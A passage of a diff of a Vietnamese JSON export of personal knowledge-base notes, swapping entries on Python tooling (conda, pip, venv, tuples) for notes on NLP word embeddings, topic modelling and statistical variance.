dung bài đăng": { - "Toàn bộ nội dung": "![CS50P - Lecture 3 - Exceptions - YouTube](https://youtu.be/LW7g1169v7w)\r\n", + "Toàn bộ nội dung": "Chẳng hạn như \r\n> you have no dog\r\n\r\nvà\r\n> no, you have dog\r\n\r\nlà 2 câu văn có biểu diễn giống nhau mặc dù có ý nghĩa trái ngược nhau. Chính vì thế phương pháp N-gram sẽ được sử dụng thay thế.\r\nNguồn:: [[Phạm Đình Khánh]], [Kĩ thuật feature engineering](https://phamdinhkhanh.github.io/2019/01/07/Ky_thuat_feature_engineering.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XU" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bD" }, { - "Tiêu đề": "IPython", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/IPython", + "Tiêu đề": "Việc biểu diễn các từ dưới dạng các vector one-hot chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Việc biểu diễn các từ dưới dạng các vector one-hot chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Lý do: : Giá trị của một từ đến từ vị trí tương đối giữa các từ với nhau (ngữ cảnh) và ngữ nghĩa, chứ không phải theo thứ tự từ điển đầu vào\r\n\r\n# Các hạn chế khác của one-hot vector\r\nSau khi biểu diễn từ dưới dạng one-hot véc tơ, mô hình đã có thể huấn luyện được từ dữ liệu được mã hóa. Tuy nhiên dữ liệu này chỉ đáp ứng được khả năng huấn luyện mà chưa phản ảnh được mối liên hệ về mặt ngữ nghĩa của các từ. Các hạn chế đó là:\r\n\r\n1. Mối quan hệ tương quan giữa các cặp từ bất kì luôn là không tương quan (tức bằng 0). Do đó không có tác dụng trong việc tìm mối liên hệ về nghĩa.\r\n2. Kích thước của véc tơ sẽ phụ thuộc vào số lượng từ vựng có trong bộ văn bản dẫn đến chi phí tính toán rất lớn khi tập dữ liệu lớn.\r\n3. Khi bổ sung thêm các từ vựng mới số chiều của véc tơ có thể thay đổi theo dẫn đến sự không ổn định trong shape.\r\n\r\nDo đó các thuật toán nhúng từ được tạo ra nhằm mục đích tìm ra các véc tơ đại diện cho mỗi từ sao cho:\r\n\r\n1. Một từ được biểu diễn bởi một véc tơ có số chiều xác định trước.\r\n2. Các từ thuộc cùng 1 nhóm thì có khoảng cách gần nhau trong không gian.\r\n\r\nCó nhiều phương pháp nhúng từ khác nhau có thể kể đến. Trong đó có 3 nhóm chính:\r\n\r\n1. Sử dụng thống kê tần xuất: tfidf\r\n2. Các thuật toán giảm chiều dữ liệu: SVD, PCA, auto encoder, word2vec\r\n3. Phương pháp sử dụng mạng nơ ron: word2vec, ELMo, BERT.\r\n\r\nNguồn:: [[Phạm Đình Khánh]], [Mô hình Word2Vec](https://phamdinhkhanh.github.io/2019/04/29/ModelWord2Vec.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XV" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bE" }, { - "Tiêu đề": "Jupyter notebook giúp chạy lệnh theo từng ô kèm diễn giải", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Jupyter notebook giúp chạy lệnh theo từng ô kèm diễn giải", + "Tiêu đề": "Việc vector hoá các văn bản là để máy tính có thể xử lý được", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Việc vector hoá các văn bản là để máy tính có thể xử lý được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Sau khi vector hoá xong ta mới có thể mô hình hoá chúng. [[Mô hình bản chất là một phép biến đổi không gian vector]] \r\n\r\n\r\n![](https://storage.googleapis.com/gweb-cloudblog-publish/images/image4_fUvNRO7.max-800x800.png) \r\n[Meet AI’s multitool: Vector embeddings | Google Cloud Blog](https://cloud.google.com/blog/topics/developers-practitioners/meet-ais-multitool-vector-embeddings)\r\n[Embedding projector - visualization of high-dimensional data](https://projector.tensorflow.org/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XW" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bF" }, { - "Tiêu đề": "Không thể thay đổi tuple một khi đã được tạo ra", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Không thể thay đổi tuple một khi đã được tạo ra", + "Tiêu đề": "Độ tương đồng của hai vector chính là tích vô hướng vừa nó", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Vector/Độ tương đồng của hai vector chính là tích vô hướng vừa nó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Qua các nội dung của bài này và bài học trước đó ([list trong Python](https://tuhocict.com/kieu-danh-sach-list-trong-python/)) bạn có thể thấy có rất nhiều điểm tương tự giữa tuple và list. Tuy nhiên, tuple và list có những điểm phân biệt rất rõ ràng. Sự khác biệt này quyết định giá trị sử dụng của từng kiểu dữ liệu.\r\n\r\nThứ nhất, list là kiểu dữ liệu _khả biến_ (mutable) trong khi tuple là kiểu dữ liệu _bất biến_ (immutable). Nghĩa là, một khi đã được tạo ra trong bộ nhớ, list có thể thay đổi còn tuple không thể thay đổi. Các thao tác biến đổi trên tuple sẽ đều tạo ra object mới chứ không thay đổi object sẵn có.\r\n\r\nTừ khía cạnh nào đó có thể hình dung tuple là phiên bản chỉ đọc thu gọn của list.\r\n\r\nVới đặc thù trên, list thường dùng làm kho dữ liệu cho chương trình. Ví dụ, bạn có thể đọc dữ liệu từ file vào list, thực hiện các biến đổi trên list và lưu trở lại file. Dữ liệu lưu trong list được xử lý linh hoạt uyển chuyển hơn. Bạn không thể sử dụng tuple cho mục đích này.\r\n\r\nTrong khi đó, tuple được sử dụng để truyền dữ liệu trong chương trình. Ví dụ, nếu một hàm cần trả lại nhiều kết quả, nó có thể trả về một tuple. Kết quả trả về ở dạng tuple nhẹ, nhanh và an toàn hơn. Ở đây mặc dù có thể dùng list nhưng không khuyến khích.\r\n\r\nMặc dù list cho phép lưu trữ dữ liệu thuộc nhiều kiểu khác nhau, người ta thường dùng list để lưu dữ liệu có cùng kiểu. Trong khi đó, tuple thường được dùng để lưu trữ kết quả thuộc các kiểu khác biệt để truyền qua lại trong chương trình.\r\n\r\nVí dụ, nếu khách hàng có các thông tin về họ tên, email, số điện thoại, địa chỉ. Danh sách khách hàng (tập hợp bản ghi) nên được lưu trong list. Nếu cần truyền thông tin về một khách hàng (dữ liệu 1 bản ghi, ví dụ, trả về từ hàm) thì nên dùng tuple chứa các thông tin của khách hàng đó.\r\n\r\nNguồn:: [[tuhocict]], [Kiểu dữ liệu tuple trong Python | Tự học ICT](https://tuhocict.com/kieu-du-lieu-tuple-trong-python/)\r\n[[Tuple là mảng nhưng không thay đổi được số lượng phần tử]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-22T14:50:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XX" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bG" }, { - "Tiêu đề": "Những phương thức có hai dấu gạch dưới hai bên được gọi là dunder (double underscore)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Những phương thức có hai dấu gạch dưới hai bên được gọi là dunder (double underscore)", + "Tiêu đề": "Về mặt toán học thì AI không có gì thú vị. Việc thay đổi trọng số thú vị hơn", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Về mặt toán học thì AI không có gì thú vị. Việc thay đổi trọng số thú vị hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```python\r\nc = a + b\r\n```\r\nInternally it is called as:\r\n\r\n```python\r\nc = a.__add__(b)\r\n```\r\nNguồn:: [\\_\\_getitem\\_\\_() in Python - GeeksforGeeks](https://www.geeksforgeeks.org/__getitem__-in-python/)", + "Toàn bộ nội dung": "Nguồn:: <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/_sTDSO74D8Q?si=e8JrCZjjp-WBuehP&start=97\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen></iframe>", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-27T08:15:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XY" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bH" }, { - "Tiêu đề": "Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu", + "Tiêu đề": "Code chạy trên Linux hoặc WSL", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/WhatEvery1Says/Code chạy trên Linux hoặc WSL", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Now seems like a distant memory, but there used to be a lot of issues installing the numerical stack (numpy/scipy etc.) on things like Windows. That's when Anaconda was really quite a big thing. As far as a package manager goes these days, I honestly find it quite clunky\r\n[Python - 2023-06-06](https://chat.stackoverflow.com/transcript/message/56414283#56414283)\r\n[[Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác]]\r\n\r\n[[Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng]]\r\n", + "Toàn bộ nội dung": "Nguồn::[Key Tools & Software – WE1S](https://we1s.ucsb.edu/research/we1s-tools-and-software/key-tools-and-software/#section1)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "XZ" + "Ngày tạo": "2023-06-18T07:41:00.000Z", + "Ngày cập nhật": "2024-09-01T09:26:00.000Z", + "id": "bI" }, { - "Tiêu đề": "Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác", + "Tiêu đề": "Collection là những sản phẩm đầu ra, bao gồm các mô hình chủ đề và minh hoạ tương tác có thể dùng trực tiếp", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/WhatEvery1Says/Collection là những sản phẩm đầu ra, bao gồm các mô hình chủ đề và minh hoạ tương tác có thể dùng trực tiếp", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Các gói Pip là những thư viện Python như NumPy hoặc matplotlib\r\n- Các gói Conda bao gồm các thư viện Python (NumPy hoặc matplotlib), thư viện C (libjpeg), và tập tin thực thi (như trình biên dịch C, thậm chí trình thông dịch Python)\r\n\r\n[[Package và library là những cái tên khác nhau cho cùng một thứ]]\r\n\r\n[[pip là chương trình quản lý package của Python]]\r\n\r\n[[Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng]]\r\n\r\n![https://www.machinelearningplus.com/wp-content/uploads/2022/02/conda-vs-miniconda-vs-anaconda.png?ezimgfmt=ng:webp/ngcb11](https://www.machinelearningplus.com/wp-content/uploads/2022/02/conda-vs-miniconda-vs-anaconda.png?ezimgfmt=ng:webp/ngcb11)\r\n[Pip vs Conda: an in-depth comparison of Python’s two packaging systems](https://pythonspeed.com/articles/conda-vs-pip/)\r\n\r\n| Anaconda ecosystem | Python ecosystem |\r\n| ------------------------------------------------------------- | ------------------------------------------------------ |\r\n| Conda: Packages from various language | Pip: Python packages only |\r\n| Miniconda: Virtual environment with different Python versions | venv: Virtual environment with only one Python version |\r\n| Anaconda: Specialized for data science projects | Python: Suitable for general Python development |\r\n", + "Toàn bộ nội dung": "[Key Collections (with Topic Models & Visualizations) – WE1S](https://we1s.ucsb.edu/research/we1s-materials/collections-topic-models/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xa" + "Ngày tạo": "2023-06-18T07:21:00.000Z", + "Ngày cập nhật": "2024-09-01T09:26:00.000Z", + "id": "bJ" }, { - "Tiêu đề": "venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản", + "Tiêu đề": "Diễn giải mô hình WhatEvery1Says", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/WhatEvery1Says/Diễn giải mô hình WhatEvery1Says", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "[Interpreting Topic Models – WE1S](https://we1s.ucsb.edu/z_orphaned-pages/interpreting-topic-models/)\n[Very basic strategies for interpreting results from the Topic Modeling Tool – Miriam Posner's Blog](http://miriamposner.com/blog/very-basic-strategies-for-interpreting-results-from-the-topic-modeling-tool/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xb" + "Ngày tạo": "2023-06-18T07:21:00.000Z", + "Ngày cập nhật": "2024-09-01T09:26:00.000Z", + "id": "bK" }, { - "Tiêu đề": "Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Conda/Với những người chỉ cần dùng Python để làm dữ liệu chứ không lập trình, chỉ cần cài Anaconda là đủ. Không cần và không nên cài Python riêng", + "Tiêu đề": "Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Phân tích xu hướng, NLP/Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Không cần là vì bản thân Anaconda đã có cài sẵn Python rồi ([[Anaconda giống như một fork Python có bổ sung thêm nhiều công cụ cho khoa học dữ liệu]]). Không nên là vì [[Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản]]\n\n[[pip là chương trình quản lý package của Python]]. [[Conda là trình quản lý thư viện, không chỉ của Python mà còn của các ngôn ngữ khác]]. \n\n![Which Python Package Manager Should You Use? - YouTube](https://youtu.be/3J02sec99RM)\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n[[Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta]] [[Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-19T05:35:00.000Z", - "id": "Xc" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bL" }, { - "Tiêu đề": "Khi chạy Python trong VS Code, thư mục được chạy không phải là thư mục chứa script", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Khi chạy Python trong VS Code, thư mục được chạy không phải là thư mục chứa script", + "Tiêu đề": "Python và R", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Python và R", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Vào Settings, kiếm `python.terminal.executeInFileDir`:\r\n![](https://i.imgur.com/9JZzZRp.png)\r\n", + "Toàn bộ nội dung": "Nguồn:: [[IBM]], <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/4lcwTGA7MZw\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\n[[Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xd" + "Ngày cập nhật": "2024-09-02T08:06:00.000Z", + "id": "bM" }, { - "Tiêu đề": "Nên cài Python bằng bộ cài tải từ website nếu muốn lập trình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Nên cài Python bằng bộ cài tải từ website nếu muốn lập trình", + "Tiêu đề": "Nếu xem ma trận giống như dãy số thì cũng giống như xem sách giống như dãy chữ", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Nếu xem ma trận giống như dãy số thì cũng giống như xem sách giống như dãy chữ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[The full installer](https://docs.python.org/3/using/windows.html#windows-full) contains all components and is the best option for developers using Python for any kind of project.\r\n\r\n[The Microsoft Store package](https://docs.python.org/3/using/windows.html#windows-store) is a simple installation of Python that is suitable for running scripts and packages, and using IDLE or other development environments. It requires Windows 10 and above, but can be safely installed without corrupting other programs. It also provides many convenient commands for launching Python and its tools.\r\n\r\n[The nuget.org packages](https://docs.python.org/3/using/windows.html#windows-nuget) are lightweight installations intended for continuous integration systems. It can be used to build Python packages or run scripts, but is not updateable and has no user interface tools.\r\n\r\n[The embeddable package](https://docs.python.org/3/using/windows.html#windows-embeddable) is a minimal package of Python suitable for embedding into a larger application.\r\n\r\nNguồn:: [4. Using Python on Windows — Python 3.11.3 documentation](https://docs.python.org/3/using/windows.html)\r\n\r\n[[py là chương trình hỗ trợ việc quản lý phiên bản trên Windows]]. `py -0` không tìm thấy được tập tin nhị phân của phiên bản cài từ Microsoft Store\r\n[Why does py not recognize all Python versions?](https://stackoverflow.com/q/76388331/3416774)\r\n", + "Toàn bộ nội dung": "Nguồn:: [The Attention Mechanism in Large Language Models - YouTube](https://www.youtube.com/watch?v=OxCpWwDCDFQ&t=928s)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xe" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bN" }, { - "Tiêu đề": "pip là chương trình quản lý package của Python", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/pip là chương trình quản lý package của Python", + "Tiêu đề": "Phép cộng và phép nhân thể hiện sức mạnh của dữ liệu. Phép trừ và phép chia thể hiện tương quan dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Phép cộng và phép nhân thể hiện sức mạnh của dữ liệu. Phép trừ và phép chia thể hiện tương quan dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tương tự, [[npm là chương trình quản lý package cho Node.js]] \n[[Package và library là những cái tên khác nhau cho cùng một thứ]]\n\nTa cài module trong Python bằng cách mở [[Terminal là cái chương trình để làm việc với shell|terminal]] lên và nhập \n\n```python\npip install tên_module\n```\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-19T07:48:00.000Z", - "id": "Xf" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bO" }, { - "Tiêu đề": "py là chương trình hỗ trợ việc quản lý phiên bản trên Windows", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/py là chương trình hỗ trợ việc quản lý phiên bản trên Windows", + "Tiêu đề": "Khi các xác suất độc lập với nhau thì dùng phép nhân", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Xác suất thống kê/Khi các xác suất độc lập với nhau thì dùng phép nhân", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "py chỉ chạy trên Windows, không có ở HĐH khác\n\n![](https://youtu.be/aBOdC5CrL1s?si=LCeRRVV7EtOYfLaf) \n", + "Toàn bộ nội dung": "Nguồn:: ![Training Latent Dirichlet Allocation: Gibbs Sampling](https://youtu.be/BaM1uiCpj_E?t=890)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-19T05:35:00.000Z", - "id": "Xg" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bP" }, { - "Tiêu đề": "venv tạo môi trường ảo để tránh trường hợp chồng chéo các gói và xung đột phiên bản giữa các thư viện", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/venv tạo môi trường ảo để tránh trường hợp chồng chéo các gói và xung đột phiên bản giữa các thư viện", + "Tiêu đề": "Phương sai là để biết mức độ phân tán của dữ liệu so với giá trị trung bình", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/Toán/Xác suất thống kê/Phương sai là để biết mức độ phân tán của dữ liệu so với giá trị trung bình", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![Tạo Môi trường ảo trong Python với Conda | PYTHON TIPs and TRICKs - YouTube](https://youtu.be/R04snR6jl1s)\r\n[[venv chỉ tạo môi trường ảo cho phiên bản hiện tại. Miniconda tạo môi trường ảo cho nhiều phiên bản]] \r\n\r\n![Hướng dẫn Tạo Virtual Environment trong Python - YouTube](https://youtu.be/jOUUqDGogAo)\r\n\r\n![](https://explainxkcd.com/wiki/images/c/cb/python_environment.png) \r\n", + "Toàn bộ nội dung": "2 đồ thị đều có cùng giá trị trung bình. Nhưng cái màu đỏ thì độ phân tán thấp hơn. Còn cái màu xanh thì có độ phân tán cao hơn\r\n\r\n![](https://cdn.discordapp.com/attachments/953628307314855999/1249364291627257866/image0.png?ex=666708ab&is=6665b72b&hm=caeda91605327a996d0532935ebed0e47fbe212c5536f2321854eeaba81bb94e&)\r\n[![](https://upload.wikimedia.org/wikipedia/commons/thumb/6/64/Variance_visualisation.svg/220px-Variance_visualisation.svg.png)](https://en.m.wikipedia.org/wiki/File:Variance_visualisation.svg)\r\n\r\nGeometric visualisation of the variance of an arbitrary distribution (2, 4, 4, 4, 5, 5, 7, 9):\r\n\r\n1. A frequency distribution is constructed.\r\n2. The centroid of the distribution gives its mean.\r\n3. A square with sides equal to the difference of each value from the mean is formed for each value.\r\n4. Arranging the squares into a rectangle with one side equal to the number of values, _n_, results in the other side being the distribution's variance, _σ_2\r\n\r\nNguồn:: [[Wikipedia]], [Variance - Wikipedia](https://en.m.wikipedia.org/wiki/Variance)\r\n\r\n![Variance - Clearly Explained (How To Calculate Variance) - YouTube](https://youtu.be/x0rmUXWtSS8?si=lB9CNobgHKWjcPNJ)\r\n\r\nGiống như em có một cái camera để biết màu trung bình của một vật là gì. Giả sử nó là màu xanh dương. Nếu nó lấy được nhiều màu thì có thể yên tâm là nó hoạt động tốt. Nhưng nếu nó chỉ lấy được mấy màu gần màu xanh dương thì nó có vấn đề\r\n\r\nTrong tài chính, rủi ro được đo lường bằng sai biệt giữa lợi nhuận thực tế so với lợi nhuận kỳ vọng.\r\n\r\n[Rui ro & Loi nhuan--Tran Thi Que Giang-2016-02-29-16235109.pdf](https://fsppm.fulbright.edu.vn/cache/MPP8-531-L06V-Rui%20ro%20&%20Loi%20nhuan--Tran%20Thi%20Que%20Giang-2016-02-29-16235109.pdf)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xh" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bQ" }, { - "Tiêu đề": "Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Path, env, version/Việc cài phiên bản mới không xoá phiên bản cũ đi khiến cho người mới hay bị lẫn lộn phiên bản", + "Tiêu đề": "❓Không dùng vật thể mà chỉ dùng khối", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Phân tích dữ liệu/❓Không dùng vật thể mà chỉ dùng khối", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Để xem có những phiên bản nào được cài\r\n```\r\npy --list\r\n```\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n[[JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xi" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bR" }, { - "Tiêu đề": "Python", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Python", + 